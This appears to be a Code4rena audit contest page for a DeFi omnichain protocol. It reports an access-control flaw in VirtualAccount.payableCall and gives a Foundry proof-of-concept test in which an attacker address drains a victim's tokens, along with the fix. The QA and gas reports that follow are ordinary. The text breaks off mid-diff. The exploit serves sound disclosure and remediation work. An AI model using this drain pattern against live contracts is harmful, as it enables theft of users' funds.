Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 21/175
Findings: 4
Award: $347.31
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
We have a contract called VirtualAccount
that manages a virtual user account on the Root Chain. The contract allows users to withdraw native currency (ETH
), ERC20
tokens, and ERC721
tokens from their virtual account.
The VirtualAccount
contract fails to enforce proper access control, allowing an attacker to bypass the authorized caller requirements. This enables the attacker to steal tokens from a victim's virtual account. The vulnerability occurs due to the lack of appropriate checks within the contract's payableCall
functions.
Look test_poc_impersonate()
in PoC section.
In order to execute the vulnerability, the following setup steps are required:
VirtualAccount
contract. It is recommended to set up the contract directly, because regardless of whether it is created via MulticallRootRouter, it does not affect the underlying functions' logic. Generate a random local port address for this purpose.MockERC20
token. Ideally, it would be an ERC20h(Branch/Root)Token
, but for the minimal Proof of Concept (PoC), any ERC20
token implementation will suffice. Since implementation of ERC20h does not impact the transfer
or approve
/transferFrom
logic.VirtualAccount
. This can be achieved by transferring tokens via an omnichain bridge or directly by the owner of the VirtualAccount
to use in the future calls. For the PoC, we transfer tokens directly to the Victim's VirtualAccount
.Exploiting the Vulnerability:
PayableCall
struct with the ERC20.transfer
function, specifying the attacker's address as the recipient and assign zero value to PayableCall
.VirtualAccount.payableCall
function, passing the prepared PayableCall
and using a zero value to initiate the exploit.This vulnerability allows an attacker (specified by the ATTACKER address) to bypass the authorized caller requirements and steal tokens from the victim's virtual account. By exploiting this vulnerability, the attacker gains unauthorized access to the victim's tokens, potentially resulting in financial loss and other negative consequences.
To mitigate this vulnerability, the following measures can be taken:
Include requiresApprovedCaller
modifier:
diff --git a/src/VirtualAccount.sol b/src/VirtualAccount.sol index f6a9134..49a679a 100644 --- a/src/VirtualAccount.sol +++ b/src/VirtualAccount.sol @@ -82,7 +82,7 @@ contract VirtualAccount is IVirtualAccount, ERC1155Receiver { } /// @inheritdoc IVirtualAccount - function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { + function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) { uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length);
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.19; import "forge-std/Test.sol"; import "forge-std/console2.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; import {ERC20} from "solmate/tokens/ERC20.sol"; import {VirtualAccount} from "../src/VirtualAccount.sol"; import {IVirtualAccount, Call, PayableCall} from "../src/interfaces/IVirtualAccount.sol"; contract VirtualAccountPoC is Test { address constant port_NVM = address(0x1111ffff0001); address constant VICTIM = address(0x2222ffff0001); address constant ATTACKER = address(0x2222ffff0002); VirtualAccount virtualAccount; MockERC20 erc20_token; // @audit ERC20h(Branch/Root) is just an ERC20 token it does not override neither transfer or approve/transferFrom function setUp() public { virtualAccount = new VirtualAccount(VICTIM, port_NVM); erc20_token = new MockERC20("Any ERC20 token", "AET", 18); } function test_call_expected_not_impersonate() public { erc20_token.mint(VICTIM, 100 ether); vm.startPrank(VICTIM); erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them vm.stopPrank(); vm.startPrank(ATTACKER); Call[] memory calls = new Call[](1); bytes memory callData = abi.encodeCall( ERC20.transfer, (ATTACKER, 100 ether) ); calls[0] = Call({target: address(erc20_token), callData: callData}); vm.expectRevert(); virtualAccount.call(calls); assertEq(erc20_token.balanceOf(address(virtualAccount)), 100 ether); vm.stopPrank(); } function test_expected_not_impersonate() public { erc20_token.mint(VICTIM, 100 ether); vm.startPrank(VICTIM); erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them vm.stopPrank(); vm.startPrank(ATTACKER); PayableCall[] memory calls = new PayableCall[](1); bytes memory callData = abi.encodeCall( ERC20.transfer, (ATTACKER, 100 ether) ); calls[0] = PayableCall({target: address(erc20_token), callData: callData, value: 0}); vm.expectRevert(); virtualAccount.payableCall(calls); assertEq(erc20_token.balanceOf(address(virtualAccount)), 100 ether); vm.stopPrank(); } function test_poc_impersonate() public { erc20_token.mint(VICTIM, 100 ether); vm.startPrank(VICTIM); erc20_token.transfer(address(virtualAccount), 100 ether); // @note We can transfer tokens to Virtual Account by using bridge, but it does not matter how tokens get into account, important how tot steal them vm.stopPrank(); vm.startPrank(ATTACKER); PayableCall[] memory calls = new PayableCall[](1); bytes memory callData = abi.encodeCall( ERC20.transfer, (ATTACKER, 100 ether) ); calls[0] = PayableCall({target: address(erc20_token), callData: callData, value: 0}); virtualAccount.payableCall{value: 0}(calls); assertEq(erc20_token.balanceOf(ATTACKER), 100 ether); vm.stopPrank(); } }
Manual review, forge
Access Control
#0 - c4-pre-sort
2023-10-09T07:07:11Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-09T07:07:16Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:33:07Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
24 instances over 6 issues
<a name="N-01"></a>
The comments in the code contain incorrect information regarding the addresses and purpose of the bridge agents, factories and chain id.
Update the comments to accurately describe the purpose and addresses of bridge agents and factories.
The comment for isBridgeAgent
should specify information for the bridge agent address instead of the underlying address.
The comment for bridgeAgents
should provide information for the bridge agent address instead of the branch router.
The comment for isBridgeAgentFactory
should include information for the bridge agent factory address instead of the underlying address.
The comment for bridgeAgentFactories
should provide information for the bridge agent factory address instead of the branch router.
31 /// @notice Mapping from Underlying Address to isUnderlying (bool). 32 mapping(address bridgeAgent => bool isActiveBridgeAgent) public isBridgeAgent; ... 34 /// @notice Branch Routers deployed in branch chain. 35 address[] public bridgeAgents; ... 41 /// @notice Mapping from Underlying Address to isUnderlying (bool). 42 mapping(address bridgeAgentFactory => bool isActiveBridgeAgentFactory) public isBridgeAgentFactory; ... 44 /// @notice Branch Routers deployed in branch chain. 45 address[] public bridgeAgentFactories;
For coreRootBridgeAgentAddress
comment specifies info for core router instead of Bridge Agent
For isChainId
comment specifies info for Bridge Agent mapping instead of chain ids
For isBridgeAgentFactory
comment specifies info for Underlying address instead of bridge agent factory
The comment for coreRootBridgeAgentAddress
should provide information for the bridge agent address instead of the core router.
The comment for isChainId
should specify information for the chain IDs mapping instead of the bridge agent mapping.
The comment for isBridgeAgentFactory
should include information for the bridge agent factory address instead of the underlying address.
42 /// @notice The address of the core router in charge of adding new tokens to the system. 43 address public coreRootBridgeAgentAddress; ... 60 /// @notice Mapping from address to Bridge Agent. 61 mapping(uint256 chainId => bool isActive) public isChainId; ... 76 /// @notice Mapping from Underlying Address to isUnderlying (bool). 77 mapping(address bridgeAgentFactory => bool isActive) public isBridgeAgentFactory;
<a name="N-02"></a>
If the requirement for the arrays to have the same length is not enforced, user operations may not be successfully executed. This is because there might be a mismatch between the number of items iterated over and the number of items provided in the second array.
Enforce that the arrays have the same length before iterating over them. This can help avoid mismatches and ensure that operations are executed correctly.
diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol index 62bc287..87c4ac4 100644 --- a/src/BaseBranchRouter.sol +++ b/src/BaseBranchRouter.sol @@ -189,6 +189,11 @@ contract BaseBranchRouter is IBranchRouter, Ownable { uint256[] memory _amounts, uint256[] memory _deposits ) internal { + if ( + _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length + ) revert("Length missmatch"); + + for (uint256 i = 0; i < _hTokens.length;) { _transferAndApproveToken(_hTokens[i], _tokens[i], _amounts[i], _deposits[i]); diff --git a/src/BranchPort.sol b/src/BranchPort.sol index ba60acc..619c958 100644 --- a/src/BranchPort.sol +++ b/src/BranchPort.sol @@ -252,6 +252,9 @@ contract BranchPort is Ownable, IBranchPort { ) external override requiresBridgeAgent { // Cache Length uint256 length = _localAddresses.length; + if ( + length != _underlyingAddresses.length || length != _amounts.length || length != _deposits.length + ) revert("Length missmatch"); // Loop through token inputs for (uint256 i = 0; i < length;) { diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol index 0621f81..bd241b7 100644 --- a/src/MulticallRootRouter.sol +++ b/src/MulticallRootRouter.sol @@ -550,6 +550,10 @@ contract MulticallRootRouter is IRootRouter, Ownable { uint16 dstChainId, GasParams memory gasParams ) internal virtual { + if ( + outputTokens.length != amountsOut.length || amountsOut.length != depositsOut.length + ) revert("Length missmatch"); + // Save bridge agent address to memory address _bridgeAgentAddress = bridgeAgentAddress; diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol index a6ad0ef..6fa9d65 100644 --- a/src/RootBridgeAgent.sol +++ b/src/RootBridgeAgent.sol @@ -870,6 +870,10 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { // Check if payload is ready for message if (_hTokens.length == 0) revert SettlementRetryUnavailableUseCallout(); + if ( + _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length + ) revert("Length missmatch"); + // Get packed data bytes memory payload;
<a name="N-03"></a>
Several contracts have the same modifier defined within them. This duplication can be avoided by moving the modifier to a separate library and importing it where needed.
Extract the common modifier to a separate library file and import it in the contracts that require it.
src/RootBridgeAgent.sol:1191
src/MulticallRootRouter.sol:591
src/BranchPort.sol:567
src/BranchBridgeAgent.sol:923
src/BaseBranchRouter.sol:213
Example:
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity ^0.8.0; contract Lock { /// @notice Re-entrancy lock modifier state. uint256 internal _unlocked = 1; /// @notice Modifier for a simple re-entrancy check. modifier lock() { require(_unlocked == 1); _unlocked = 2; _; _unlocked = 1; } }
diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol index 62bc287..5e294ce 100644 --- a/src/BaseBranchRouter.sol +++ b/src/BaseBranchRouter.sol @@ -7,6 +7,7 @@ import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol"; import {ERC20} from "solmate/tokens/ERC20.sol"; import {IBranchRouter} from "./interfaces/IBranchRouter.sol"; +import "src/lock.sol"; import { IBranchBridgeAgent as IBridgeAgent, @@ -22,7 +23,7 @@ import { /// @title Base Branch Router Contract /// @author MaiaDAO -contract BaseBranchRouter is IBranchRouter, Ownable { +contract BaseBranchRouter is IBranchRouter, Ownable, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -38,9 +39,6 @@ contract BaseBranchRouter is IBranchRouter, Ownable { /// @inheritdoc IBranchRouter address public override bridgeAgentExecutorAddress; - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -207,12 +205,4 @@ contract BaseBranchRouter is IBranchRouter, Ownable { if (msg.sender != bridgeAgentExecutorAddress) revert UnrecognizedBridgeAgentExecutor(); _; } - - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } } diff --git a/src/BranchBridgeAgent.sol b/src/BranchBridgeAgent.sol index b076d2d..3a5a831 100644 --- a/src/BranchBridgeAgent.sol +++ b/src/BranchBridgeAgent.sol @@ -18,7 +18,7 @@ import { import {ILayerZeroEndpoint} from "./interfaces/ILayerZeroEndpoint.sol"; import {BranchBridgeAgentExecutor, DeployBranchBridgeAgentExecutor} from "./BranchBridgeAgentExecutor.sol"; - +import "src/lock.sol"; /// @title Library for Branch Bridge Agent Deployment library DeployBranchBridgeAgent { function deploy( @@ -42,7 +42,7 @@ library DeployBranchBridgeAgent { /// @title Branch Bridge Agent Contract /// @author MaiaDAO -contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { +contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants, Lock { using ExcessivelySafeCall for address; /*/////////////////////////////////////////////////////////////// @@ -93,13 +93,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { /// @notice If true, the bridge agent has already served a request with this nonce from a given chain. mapping(uint256 settlementNonce => uint256 state) public executionState; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -918,14 +911,6 @@ contract BranchBridgeAgent is IBranchBridgeAgent, BridgeAgentConstants { MODIFIERS //////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } - /// @notice Modifier verifies the caller is the Layerzero Enpoint or Local Branch Bridge Agent. modifier requiresEndpoint(address _endpoint, bytes calldata _srcAddress) { _requiresEndpoint(_endpoint, _srcAddress); diff --git a/src/BranchPort.sol b/src/BranchPort.sol index ba60acc..26d5a56 100644 --- a/src/BranchPort.sol +++ b/src/BranchPort.sol @@ -11,10 +11,11 @@ import {IPortStrategy} from "./interfaces/IPortStrategy.sol"; import {IBranchPort} from "./interfaces/IBranchPort.sol"; import {ERC20hTokenBranch} from "./token/ERC20hTokenBranch.sol"; +import "src/lock.sol"; /// @title Branch Port - Omnichain Token Management Contract /// @author MaiaDAO -contract BranchPort is Ownable, IBranchPort { +contract BranchPort is Ownable, IBranchPort, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -83,13 +84,6 @@ contract BranchPort is Ownable, IBranchPort { mapping(address strategy => mapping(address token => uint256 dailyLimitRemaining)) public strategyDailyLimitRemaining; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Reentrancy lock guard state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ @@ -561,12 +555,4 @@ contract BranchPort is Ownable, IBranchPort { if (!isPortStrategy[msg.sender][_token]) revert UnrecognizedPortStrategy(); _; } - - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } } diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol index 0621f81..c92e54f 100644 --- a/src/MulticallRootRouter.sol +++ b/src/MulticallRootRouter.sol @@ -13,6 +13,7 @@ import { } from "./interfaces/IRootBridgeAgent.sol"; import {IRootRouter, DepositParams, DepositMultipleParams} from "./interfaces/IRootRouter.sol"; import {IVirtualAccount, Call} from "./interfaces/IVirtualAccount.sol"; +import "src/lock.sol"; struct OutputParams { // Address to receive the output assets. @@ -54,7 +55,7 @@ struct OutputMultipleParams { * 0x06 | multicallSignedMultipleOutput * */ -contract MulticallRootRouter is IRootRouter, Ownable { +contract MulticallRootRouter is IRootRouter, Ownable, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -76,8 +77,6 @@ contract MulticallRootRouter is IRootRouter, Ownable { /// @notice Bridge Agent Executor Address. address public bridgeAgentExecutorAddress; - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR @@ -586,13 +585,6 @@ contract MulticallRootRouter is IRootRouter, Ownable { MODIFIERS ////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } /// @notice Modifier verifies the caller is the Bridge Agent Executor. modifier requiresExecutor() { diff --git a/src/RootBridgeAgent.sol b/src/RootBridgeAgent.sol index a6ad0ef..9d9a2c7 100644 --- a/src/RootBridgeAgent.sol +++ b/src/RootBridgeAgent.sol @@ -26,10 +26,11 @@ import {IRootPort as IPort} from "./interfaces/IRootPort.sol"; import {VirtualAccount} from "./VirtualAccount.sol"; import {DeployRootBridgeAgentExecutor, RootBridgeAgentExecutor} from "./RootBridgeAgentExecutor.sol"; +import "src/lock.sol"; /// @title Root Bridge Agent Contract /// @author MaiaDAO -contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { +contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants, Lock { using SafeTransferLib for address; using ExcessivelySafeCall for address; /*/////////////////////////////////////////////////////////////// @@ -84,13 +85,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { /// @notice If true, bridge agent has already served a request with this nonce from a given chain. Chain -> Nonce -> Bool mapping(uint256 chainId => mapping(uint256 nonce => uint256 state)) public executionState; - /*/////////////////////////////////////////////////////////////// - REENTRANCY STATE - //////////////////////////////////////////////////////////////*/ - - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -1186,14 +1180,6 @@ contract RootBridgeAgent is IRootBridgeAgent, BridgeAgentConstants { MODIFIERS //////////////////////////////////////////////////////////////*/ - /// @notice Modifier for a simple re-entrancy check. - modifier lock() { - require(_unlocked == 1); - _unlocked = 2; - _; - _unlocked = 1; - } - /// @notice Internal function to verify msg sender is Bridge Agent's Router. modifier requiresRouter() { if (msg.sender != localRouterAddress) revert UnrecognizedRouter();
<a name="N-04"></a>
Certain statements are repeated in multiple functions within the same contract. This duplication can be reduced by creating a modifier that includes these common statements.
Create a modifier that includes the common statements and apply it to the relevant functions.
diff --git a/src/factories/ArbitrumBranchBridgeAgentFactory.sol b/src/factories/ArbitrumBranchBridgeAgentFactory.sol index 3f07a7d..6455d9a 100644 --- a/src/factories/ArbitrumBranchBridgeAgentFactory.sol +++ b/src/factories/ArbitrumBranchBridgeAgentFactory.sol @@ -80,15 +80,14 @@ contract ArbitrumBranchBridgeAgentFactory is BranchBridgeAgentFactory { address _newBranchRouterAddress, address _rootBridgeAgentAddress, address _rootBridgeAgentFactoryAddress - ) external virtual override returns (address newBridgeAgent) { - require( - msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." - ); - require( - _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, - "Root Bridge Agent Factory Address does not match." - ); - + ) + external + virtual + override + requireCoreBranchRouter + requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress) + returns (address newBridgeAgent) + { newBridgeAgent = address( DeployArbitrumBranchBridgeAgent.deploy( rootChainId, _rootBridgeAgentAddress, _newBranchRouterAddress, localPortAddress diff --git a/src/factories/BranchBridgeAgentFactory.sol b/src/factories/BranchBridgeAgentFactory.sol index c789a27..33b594e 100644 --- a/src/factories/BranchBridgeAgentFactory.sol +++ b/src/factories/BranchBridgeAgentFactory.sol @@ -116,15 +116,13 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory { address _newBranchRouterAddress, address _rootBridgeAgentAddress, address _rootBridgeAgentFactoryAddress - ) external virtual returns (address newBridgeAgent) { - require( - msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." - ); - require( - _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, - "Root Bridge Agent Factory Address does not match." - ); - + ) + external + virtual + requireCoreBranchRouter + requireRootBridgeAgentFactory(_rootBridgeAgentFactoryAddress) + returns (address newBridgeAgent) + { newBridgeAgent = address( DeployBranchBridgeAgent.deploy( rootChainId, @@ -138,4 +136,19 @@ contract BranchBridgeAgentFactory is Ownable, IBranchBridgeAgentFactory { IPort(localPortAddress).addBridgeAgent(newBridgeAgent); } + + modifier requireCoreBranchRouter() { + require( + msg.sender == localCoreBranchRouterAddress, "Only the Core Branch Router can create a new Bridge Agent." + ); + _; + } + + modifier requireRootBridgeAgentFactory(address _rootBridgeAgentFactoryAddress) { + require( + _rootBridgeAgentFactoryAddress == rootBridgeAgentFactoryAddress, + "Root Bridge Agent Factory Address does not match." + ); + _; + } }
<a name="N-05"></a>
Some functions in the code either don't have any implementation or unconditionally revert. Applying a modifier to these functions is unnecessary.
Remove the unnecessary modifiers from the empty or revert functions.
diff --git a/src/CoreRootRouter.sol b/src/CoreRootRouter.sol index 3104a2a..8db63d1 100644 --- a/src/CoreRootRouter.sol +++ b/src/CoreRootRouter.sol @@ -351,7 +351,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } @@ -361,13 +360,12 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } /// @inheritdoc IRootRouter - function executeSigned(bytes memory, address, uint16) external payable override requiresExecutor { + function executeSigned(bytes memory, address, uint16) external payable override { revert(); } @@ -376,7 +374,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); } @@ -386,7 +383,6 @@ contract CoreRootRouter is IRootRouter, Ownable { external payable override - requiresExecutor { revert(); }
<a name="N-06"></a>
Two functions in the code have exactly the same body and perform the same actions. This duplication can be avoided by merging the two functions into a single one.
Merge the two functions into a single one and remove the duplicated code.
executeSignedDepositSingle
have the same body as executeSigned
diff --git a/src/MulticallRootRouter.sol b/src/MulticallRootRouter.sol index 0621f81..f392413 100644 --- a/src/MulticallRootRouter.sol +++ b/src/MulticallRootRouter.sol @@ -221,7 +221,7 @@ contract MulticallRootRouter is IRootRouter, Ownable { * */ function executeSigned(bytes calldata encodedData, address userAccount, uint16) - external + public payable override lock @@ -316,76 +316,7 @@ contract MulticallRootRouter is IRootRouter, Ownable { requiresExecutor lock { - // Parse funcId - bytes1 funcId = encodedData[0]; - - /// FUNC ID: 1 (multicallNoOutput) - if (funcId == 0x01) { - // Decode Params - Call[] memory calls = abi.decode(_decode(encodedData[1:]), (Call[])); - - // Make requested calls - IVirtualAccount(userAccount).call(calls); - - /// FUNC ID: 2 (multicallSingleOutput) - } else if (funcId == 0x02) { - // Decode Params - (Call[] memory calls, OutputParams memory outputParams, uint16 dstChainId, GasParams memory gasParams) = - abi.decode(_decode(encodedData[1:]), (Call[], OutputParams, uint16, GasParams)); - - // Make requested calls - IVirtualAccount(userAccount).call(calls); - - // Withdraw assets from Virtual Account - IVirtualAccount(userAccount).withdrawERC20(outputParams.outputToken, outputParams.amountOut); - - // Bridge Out assets - _approveAndCallOut( - IVirtualAccount(userAccount).userAddress(), - outputParams.recipient, - outputParams.outputToken, - outputParams.amountOut, - outputParams.depositOut, - dstChainId, - gasParams - ); - - /// FUNC ID: 3 (multicallMultipleOutput) - } else if (funcId == 0x03) { - // Decode Params - ( - Call[] memory calls, - OutputMultipleParams memory outputParams, - uint16 dstChainId, - GasParams memory gasParams - ) = abi.decode(_decode(encodedData[1:]), (Call[], OutputMultipleParams, uint16, GasParams)); - - // Make requested calls - IVirtualAccount(userAccount).call(calls); - - // Withdraw assets from Virtual Account - for (uint256 i = 0; i < outputParams.outputTokens.length;) { - IVirtualAccount(userAccount).withdrawERC20(outputParams.outputTokens[i], outputParams.amountsOut[i]); - - unchecked { - ++i; - } - } - - // Bridge Out assets - _approveMultipleAndCallOut( - IVirtualAccount(userAccount).userAddress(), - outputParams.recipient, - outputParams.outputTokens, - outputParams.amountsOut, - outputParams.depositsOut, - dstChainId, - gasParams - ); - /// UNRECOGNIZED FUNC ID - } else { - revert UnrecognizedFunctionId(); - } + executeSigned(encodedData, userAccount, 0); } /**
#0 - c4-pre-sort
2023-10-15T12:38:47Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:54:45Z
alcueca marked the issue as grade-a
🌟 Selected for report: rvierdiiev
Also found by: 0x11singh99, 0xAnah, 0xta, Aamir, DavidGiladi, DevABDee, Eurovickk, JCK, K42, MrPotatoMagic, Pessimistic, Raihan, Rolezn, SM3_SS, SY_S, Sathish9098, Udsen, ayo_dev, blutorque, c3phas, clara, dharma09, hihen, hunter_w3b, jamshed, koxuan, lsaudit, marqymarq10, oualidpro, pfapostol, sivanesh_808, tabriz, wahedtalash77, zabihullahazadzoi, ziyou-
78.1884 USDC - $78.19
14 instances over 5 issues
<a name="G-01"></a>
In the VirtualAccount.sol
contract, the same Call
struct is redefined inside the loop, which is unnecessary as it can be moved outside the loop for optimization.
By moving the Call
struct definition outside the loop, unnecessary memory allocations and reassignments are avoided, resulting in gas savings.
The gas savings would vary depending on the number of loop iterations and the complexity of the Call
struct, but it reduces gas cost by avoiding redundant memory operations.
diff --git a/src/VirtualAccount.sol b/src/VirtualAccount.sol index f6a9134..1f02e61 100644 --- a/src/VirtualAccount.sol +++ b/src/VirtualAccount.sol @@ -67,9 +67,10 @@ contract VirtualAccount is IVirtualAccount, ERC1155Receiver { uint256 length = calls.length; returnData = new bytes[](length); + Call calldata _call; for (uint256 i = 0; i < length;) { bool success; - Call calldata _call = calls[i]; + _call = calls[i]; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call(_call.callData);
<a name="G-02"></a>
In the RootPort.sol
contract, the difference between _amount
and _deposit
is calculated multiple times within the same function. By caching the difference in a variable, gas consumption is reduced.
diff --git a/src/RootPort.sol b/src/RootPort.sol index c379b6e..aad1258 100644 --- a/src/RootPort.sol +++ b/src/RootPort.sol @@ -281,9 +281,10 @@ contract RootPort is Ownable, IRootPort { { if (!isGlobalAddress[_hToken]) revert UnrecognizedToken(); - if (_amount - _deposit > 0) { + uint256 _diff = _amount - _deposit; + if (_diff > 0) { unchecked { - _hToken.safeTransfer(_recipient, _amount - _deposit); + _hToken.safeTransfer(_recipient, _diff); } }
<a name="G-03"></a>
In multiple contracts, the same modifier is defined within each contract. Extracting the common modifier to a separate library reduces code duplication and optimizes gas consumption.
By creating a library that contains the shared modifier and importing it in the relevant contracts, code duplication is avoided. This results in reduced bytecode size and gas savings.
src/RootBridgeAgent.sol:1191
src/MulticallRootRouter.sol:591
src/BranchPort.sol:567
src/BranchBridgeAgent.sol:923
src/BaseBranchRouter.sol:213
Example:
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity ^0.8.0; contract Lock { /// @notice Re-entrancy lock modifier state. uint256 internal _unlocked = 1; /// @notice Modifier for a simple re-entrancy check. modifier lock() { require(_unlocked == 1); _unlocked = 2; _; _unlocked = 1; } }
diff --git a/src/BaseBranchRouter.sol b/src/BaseBranchRouter.sol index 62bc287..5e294ce 100644 --- a/src/BaseBranchRouter.sol +++ b/src/BaseBranchRouter.sol @@ -7,6 +7,7 @@ import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol"; import {ERC20} from "solmate/tokens/ERC20.sol"; import {IBranchRouter} from "./interfaces/IBranchRouter.sol"; +import "src/lock.sol"; import { IBranchBridgeAgent as IBridgeAgent, @@ -22,7 +23,7 @@ import { /// @title Base Branch Router Contract /// @author MaiaDAO -contract BaseBranchRouter is IBranchRouter, Ownable { +contract BaseBranchRouter is IBranchRouter, Ownable, Lock { using SafeTransferLib for address; /*/////////////////////////////////////////////////////////////// @@ -38,9 +39,6 @@ contract BaseBranchRouter is IBranchRouter, Ownable { /// @inheritdoc IBranchRouter address public override bridgeAgentExecutorAddress; - /// @notice Re-entrancy lock modifier state. - uint256 internal _unlocked = 1; - /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ @@ -207,12 +205,4 @@ contract BaseBranchRouter is IBranchRouter, Ownable { if (msg.sender != bridgeAgentExecutorAddress) revert UnrecognizedBridgeAgentExecutor(); _; } - - /// @notice Modifier for a simple re-entrancy check. - modifier lock() 